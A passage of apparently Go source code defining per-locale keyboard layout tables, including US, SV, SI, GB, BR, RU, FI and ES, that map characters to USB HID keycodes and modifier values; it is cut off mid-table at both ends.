Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 51, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 53}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 53, Mode: 2}, "#": Command{HID: 52, Mode: 64}, "'": Command{HID: 45}, "+": Command{HID: 48}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "è": Command{HID: 47}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "ì": Command{HID: 46}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 47, Mode: 66}, "à": Command{HID: 52}, "é": Command{HID: 47, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 48, Mode: 2}, ".": Command{HID: 55}, "ù": Command{HID: 49}, "2": Command{HID: 31}, "6": Command{HID: 35}, "ò": Command{HID: 51}, ":": Command{HID: 55, Mode: 2}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 46, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 48, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 66}, }, "US": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 54, Mode: 2}, "@": Command{HID: 31, Mode: 2}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 49}, "`": Command{HID: 53}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 49, Mode: 2}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 52}, "+": Command{HID: 46, Mode: 2}, "/": Command{HID: 56}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 51}, "?": Command{HID: 56, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47}, "_": Command{HID: 45, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 47, Mode: 2}, "\"": Command{HID: 52, Mode: 2}, "&": Command{HID: 36, Mode: 2}, "*": Command{HID: 37, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 51, Mode: 2}, ">": Command{HID: 55, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 35, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "~": Command{HID: 53, Mode: 2}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 39, Mode: 2}, "-": Command{HID: 45}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 46}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 48}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 2}, }, "SV": { "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 53}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 45, Mode: 64}, "`": Command{HID: 46, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 64}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 100, Mode: 64}, "BACKSPACE": Command{HID: 42}, "«": Command{HID: 33}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 49}, "+": Command{HID: 45}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "Å": Command{HID: 47, Mode: 2}, "Ä": Command{HID: 52, Mode: 2}, "ß": Command{HID: 22, Mode: 64}, "ä": Command{HID: 52}, "Ö": Command{HID: 51, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 49, Mode: 2}, "å": Command{HID: 47}, ".": Command{HID: 55}, "2": Command{HID: 31}, "þ": Command{HID: 23, Mode: 64}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, "ö": Command{HID: 51}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 48, Mode: 2}, "¤": Command{HID: 33, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "µ": Command{HID: 16, Mode: 64}, "r": Command{HID: 21}, "v": Command{HID: 25}, "½": Command{HID: 53, Mode: 2}, "z": Command{HID: 29}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "SI": { "-": Command{HID: 56}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 25, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 16, Mode: 64}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 20, Mode: 64}, "`": Command{HID: 36, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 26, Mode: 64}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 45}, "+": Command{HID: 46}, "/": Command{HID: 36, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 9, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 5, Mode: 64}, "ß": Command{HID: 52, Mode: 64}, "×": Command{HID: 48, Mode: 64}, "\"": Command{HID: 31, Mode: 2}, "ˇ": Command{HID: 31, Mode: 64}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 46, Mode: 2}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, "˛": Command{HID: 35, Mode: 64}, "˙": Command{HID: 37, Mode: 64}, ":": Command{HID: 55, Mode: 2}, "÷": Command{HID: 47, Mode: 64}, "˝": Command{HID: 39, Mode: 64}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 28, Mode: 2}, "^": Command{HID: 32, Mode: 64}, "¤": Command{HID: 49, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "¨": Command{HID: 45, Mode: 64}, "n": Command{HID: 17}, "´": Command{HID: 38, Mode: 64}, "r": Command{HID: 21}, "°": Command{HID: 34, Mode: 64}, "v": Command{HID: 25}, "z": Command{HID: 28}, "¸": Command{HID: 46, Mode: 64}, "~": Command{HID: 30, Mode: 64}, "Ł": Command{HID: 15, Mode: 64}, "ł": Command{HID: 14, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "š": Command{HID: 47}, "Š": Command{HID: 47, Mode: 2}, "Ž": Command{HID: 49, Mode: 2}, "ž": Command{HID: 49}, "5": Command{HID: 34}, "9": Command{HID: 38}, "˘": Command{HID: 33, Mode: 64}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "Č": Command{HID: 51, Mode: 2}, "č": Command{HID: 51}, "E": Command{HID: 8, Mode: 2}, "Ć": Command{HID: 52, Mode: 2}, "ć": Command{HID: 52}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 29, Mode: 2}, "]": Command{HID: 10, Mode: 64}, "Đ": Command{HID: 48, Mode: 2}, "đ": Command{HID: 48}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "1": Command{HID: 30}, "u": Command{HID: 24}, "y": Command{HID: 29}, "}": Command{HID: 17, Mode: 64}, }, "GB": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 54, Mode: 2}, "@": Command{HID: 52, Mode: 2}, "€": Command{HID: 33, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 100}, "`": Command{HID: 53}, "d": Command{HID: 7}, "h": Command{HID: 11}, "£": Command{HID: 32, Mode: 2}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 100, Mode: 2}, "BACKSPACE": Command{HID: 42}, "#": Command{HID: 50}, "'": Command{HID: 52}, "+": Command{HID: 46, Mode: 2}, "/": Command{HID: 56}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 51}, "?": Command{HID: 56, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47}, "_": Command{HID: 45, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 47, Mode: 2}, "é": Command{HID: 8, Mode: 64}, "\"": Command{HID: 31, Mode: 2}, "í": Command{HID: 12, Mode: 64}, "&": Command{HID: 36, Mode: 2}, "*": Command{HID: 37, Mode: 2}, ".": Command{HID: 55}, "ú": Command{HID: 24, Mode: 64}, "2": Command{HID: 31}, "6": Command{HID: 35}, "ó": Command{HID: 18, Mode: 64}, ":": Command{HID: 51, Mode: 2}, ">": Command{HID: 55, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 35, Mode: 2}, "¦": Command{HID: 53, Mode: 64}, "b": Command{HID: 5}, "f": Command{HID: 9}, "¬": Command{HID: 53, Mode: 2}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "~": Command{HID: 50, Mode: 2}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 39, Mode: 2}, "-": Command{HID: 45}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 46}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 48}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 2}, }, "BR": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 54, Mode: 2}, "@": Command{HID: 31, Mode: 2}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "b": Command{HID: 5}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 100}, "`": Command{HID: 47, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 100, Mode: 2}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 53}, "+": Command{HID: 46, Mode: 2}, "/": Command{HID: 20, Mode: 64}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 56}, "?": Command{HID: 26, Mode: 64}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 48}, "_": Command{HID: 45, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 48, Mode: 2}, "Ç": Command{HID: 51, Mode: 2}, "\"": Command{HID: 53, Mode: 2}, "&": Command{HID: 36, Mode: 2}, "*": Command{HID: 37, Mode: 2}, "ç": Command{HID: 51}, ".": Command{HID: 55}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 56, Mode: 2}, ">": Command{HID: 55, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 52, Mode: 2}, "§": Command{HID: 46, Mode: 64}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "´": Command{HID: 47}, "r": Command{HID: 21}, "°": Command{HID: 8, Mode: 64}, "v": Command{HID: 25}, "z": Command{HID: 29}, "~": Command{HID: 52}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 39, Mode: 2}, "-": Command{HID: 45}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 46}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 49}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 49, Mode: 2}, }, "RU": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, ",": Command{HID: 54, Mode: 2}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "3": Command{HID: 32}, ";": Command{HID: 54}, "?": Command{HID: 56}, "ё": Command{HID: 53}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 36, Mode: 2}, "/": Command{HID: 56, Mode: 2}, "с": Command{HID: 22}, "р": Command{HID: 21}, "у": Command{HID: 11}, "т": Command{HID: 28}, "х": Command{HID: 27}, "7": Command{HID: 36}, "ц": Command{HID: 6}, "щ": Command{HID: 48}, "ш": Command{HID: 26}, "ы": Command{HID: 24}, "ъ": Command{HID: 46, Mode: 2}, "ь": Command{HID: 16}, "я": Command{HID: 20}, "ю": Command{HID: 47}, "в": Command{HID: 25}, "г": Command{HID: 10}, "а": Command{HID: 9}, "б": Command{HID: 5}, "ж": Command{HID: 52}, "з": Command{HID: 29}, "д": Command{HID: 7}, "е": Command{HID: 8}, "к": Command{HID: 14}, "л": Command{HID: 15}, "и": Command{HID: 18}, "й": Command{HID: 13}, "о": Command{HID: 19}, "м": Command{HID: 16}, "н": Command{HID: 17}, "Т": Command{HID: 28, Mode: 2}, "У": Command{HID: 11, Mode: 2}, "Р": Command{HID: 9, Mode: 2}, "С": Command{HID: 22, Mode: 2}, "Ц": Command{HID: 6, Mode: 2}, "Х": Command{HID: 27, Mode: 2}, "Ъ": Command{HID: 46}, "Ы": Command{HID: 24, Mode: 2}, "Ш": Command{HID: 26, Mode: 2}, "Щ": Command{HID: 48, Mode: 2}, "Ю": Command{HID: 47, Mode: 2}, "Я": Command{HID: 20, Mode: 2}, "Ь": Command{HID: 16, Mode: 2}, "В": Command{HID: 25, Mode: 2}, "Г": Command{HID: 10, Mode: 2}, "А": Command{HID: 4, Mode: 2}, "Б": Command{HID: 5, Mode: 2}, "Ж": Command{HID: 52, Mode: 2}, "З": Command{HID: 29, Mode: 2}, "Д": Command{HID: 7, Mode: 2}, "Е": Command{HID: 8, Mode: 2}, "К": Command{HID: 14, Mode: 2}, "Л": Command{HID: 15, Mode: 2}, "И": Command{HID: 18, Mode: 2}, "Й": Command{HID: 13, Mode: 2}, "О": Command{HID: 19, Mode: 2}, "М": Command{HID: 16, Mode: 2}, "Н": Command{HID: 17, Mode: 2}, "№": Command{HID: 49, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 37, Mode: 2}, ".": Command{HID: 55, Mode: 2}, "2": Command{HID: 31}, "_": Command{HID: 45, Mode: 2}, "6": Command{HID: 35}, ":": Command{HID: 55}, "~": Command{HID: 49}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 39, Mode: 2}, "-": Command{HID: 45}, "1": Command{HID: 30}, "Ё": Command{HID: 53, Mode: 2}, "5": Command{HID: 34}, "9": Command{HID: 38}, }, "FI": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "€": Command{HID: 8, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "§": Command{HID: 53}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 45, Mode: 64}, "`": Command{HID: 46, Mode: 2}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 100, Mode: 64}, "#": Command{HID: 32, Mode: 2}, "'": Command{HID: 49}, "+": Command{HID: 45}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 37, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 36, Mode: 64}, "Ä": Command{HID: 52, Mode: 2}, ".": Command{HID: 55}, "Ö": Command{HID: 51, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 49, Mode: 2}, "ä": Command{HID: 52}, "2": Command{HID: 31}, "6": Command{HID: 35}, ":": Command{HID: 55, Mode: 2}, "ö": Command{HID: 51}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 48, Mode: 2}, "¤": Command{HID: 33, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "´": Command{HID: 46}, "µ": Command{HID: 16, Mode: 64}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "~": Command{HID: 48, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 38, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, "ES": { " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, ",": Command{HID: 54}, "0": Command{HID: 39}, "4": Command{HID: 33}, "8": Command{HID: 37}, "<": Command{HID: 100}, "@": Command{HID: 31, Mode: 64}, "D": Command{HID: 7, Mode: 2}, "H": Command{HID: 11, Mode: 2}, "L": Command{HID: 15, Mode: 2}, "P": Command{HID: 19, Mode: 2}, "T": Command{HID: 23, Mode: 2}, "X": Command{HID: 27, Mode: 2}, "\\": Command{HID: 53, Mode: 64}, "d": Command{HID: 7}, "h": Command{HID: 11}, "l": Command{HID: 15}, "p": Command{HID: 19}, "t": Command{HID: 23}, "x": Command{HID: 27}, "|": Command{HID: 30, Mode: 64}, "#": Command{HID: 32, Mode: 64}, "'": Command{HID: 45}, "+": Command{HID: 48}, "/": Command{HID: 36, Mode: 2}, "3": Command{HID: 32}, "7": Command{HID: 36}, ";": Command{HID: 54, Mode: 2}, "?": Command{HID: 45, Mode: 2}, "C": Command{HID: 6, Mode: 2}, "G": Command{HID: 10, Mode: 2}, "K": Command{HID: 14, Mode: 2}, "O": Command{HID: 18, Mode: 2}, "S": Command{HID: 22, Mode: 2}, "è": Command{HID: 47}, "W": Command{HID: 26, Mode: 2}, "[": Command{HID: 47, Mode: 64}, "_": Command{HID: 56, Mode: 2}, "c": Command{HID: 6}, "g": Command{HID: 10}, "k": Command{HID: 14}, "ì": Command{HID: 46}, "o": Command{HID: 18}, "s": Command{HID: 22}, "w": Command{HID: 26}, "{": Command{HID: 47, Mode: 66}, "à": Command{HID: 52}, "é": Command{HID: 47, Mode: 2}, "\"": Command{HID: 31, Mode: 2}, "&": Command{HID: 35, Mode: 2}, "*": Command{HID: 48, Mode: 2}, ".": Command{HID: 55}, "ù": Command{HID: 49}, "2": Command{HID: 31}, "6": Command{HID: 35}, "ò": Command{HID: 51}, ":": Command{HID: 55, Mode: 2}, ">": Command{HID: 100, Mode: 2}, "B": Command{HID: 5, Mode: 2}, "F": Command{HID: 9, Mode: 2}, "J": Command{HID: 13, Mode: 2}, "N": Command{HID: 17, Mode: 2}, "R": Command{HID: 21, Mode: 